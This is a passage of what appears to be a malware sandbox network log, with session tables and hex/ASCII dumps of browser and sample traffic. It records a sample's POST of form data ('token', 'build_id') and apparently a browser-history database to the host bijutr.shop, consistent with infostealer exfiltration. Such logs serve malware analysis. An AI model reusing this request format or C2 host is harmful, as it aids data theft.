AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49823	162.159.61.3	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 07:20:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 07:20:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 07:20:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f878ca2ab3643ee-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 07:20:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 53 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomS)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49817	142.250.181.65	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:39 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-27 07:20:40 UTC	563	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC7tH5ZzJMfNfa9BIZr8250lXMXmPl3ep-Vo_9n3cA_0tj0h-vy5u0X0e4GXYF7rzyXp X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Thu, 26 Dec 2024 15:58:14 GMT Expires: Fri, 26 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 55346 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-27 07:20:40 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-27 07:20:40 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49834	172.64.41.3	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 07:20:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49838	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:41 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BS2D2V3W4EUAAIWBIWT2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:41 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 53 32 44 32 56 33 57 34 45 55 41 41 49 57 42 49 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 53 32 44 32 56 33 57 34 45 55 41 41 49 57 42 49 57 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 53 32 44 32 56 33 57 34 45 55 41 41 49 57 42 49 57 54 32 0d 0a 43 6f 6e 74 Data Ascii: ------BS2D2V3W4EUAAIWBIWT2Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------BS2D2V3W4EUAAIWBIWT2Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------BS2D2V3W4EUAAIWBIWT2Cont
2024-12-27 07:20:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 